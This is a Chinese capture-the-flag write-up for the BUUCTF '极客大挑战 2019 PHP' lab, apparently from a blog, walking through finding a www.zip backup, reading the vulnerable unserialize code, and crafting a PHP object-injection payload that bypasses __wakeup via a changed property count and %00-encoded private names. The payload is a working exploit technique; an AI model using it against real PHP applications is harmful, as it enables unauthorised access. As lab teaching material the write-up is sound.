128,【1】buuctf [极客大挑战 2019]PHP

进入靶场

提示了备份文件

抓包,扫描

扫描出了两个有反应的

访问index.php没反应,但www.zip成功下载了文件

index.php里得到如下有用信息

php 复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

所以我们要通过GET 方式传递 select 参数的值,并对该值进行序列化操作

?select=

再去查看class.php

php 复制代码
<?php
// 包含 flag.php 文件
include 'flag.php';

// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    // 私有属性只能在类内部访问
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,用于初始化对象的属性
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
    // 此方法将对象的 $username 属性重置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 析构函数,当对象被销毁时会自动调用
    function __destruct(){
        // 检查对象的 $password 属性是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息,表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查对象的 $username 属性是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 如果是 'admin',将全局变量 $flag 引入当前作用域
            global $flag;
            // 输出存储在 $flag 中的 flag 信息
            echo $flag;
        } else {
            // 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

得知username和password,且值为admin和100

还需绕过_wakeup方法

通过改属性个数实现

username=admin&password=100

其他好像不用看了,试着开始构造

php 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

$a=new Name();
$b=serialize(@$a);
echo $b
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

修改属性个数

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为是两个属性

添加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

相关推荐
один but you13 分钟前
从可变参数到 emplace:现代 C++ 性能优化的核心组合
java·开发语言
MY_TEUCK1 小时前
【Java 后端 | Nacos 注册中心】微服务治理原理、选型与注册发现实战
java·开发语言·微服务
不正经的小寒1 小时前
PHP 8.4 核心特性
php
测试员周周1 小时前
【Appium 系列】第13节-混合测试执行器 — API + UI 的协同执行
开发语言·人工智能·python·功能测试·ui·appium·pytest
光泽雨2 小时前
c#中的Type类型
开发语言·前端
见叶之秋2 小时前
C++基础入门指南
开发语言·c++
计算机安禾2 小时前
【c++面向对象编程】第42篇:模板特化与偏特化:为特定类型定制实现
开发语言·c++·算法
qq_401700412 小时前
Qt 项目中使用 QSS 的全面总结
开发语言·qt
玖釉-3 小时前
C++ 中的循环语句详解:while、do...while、for、嵌套循环与循环控制
开发语言·c++·算法
XMYX-03 小时前
37 - Go env 环境变量:配置管理与运行时控制
开发语言·golang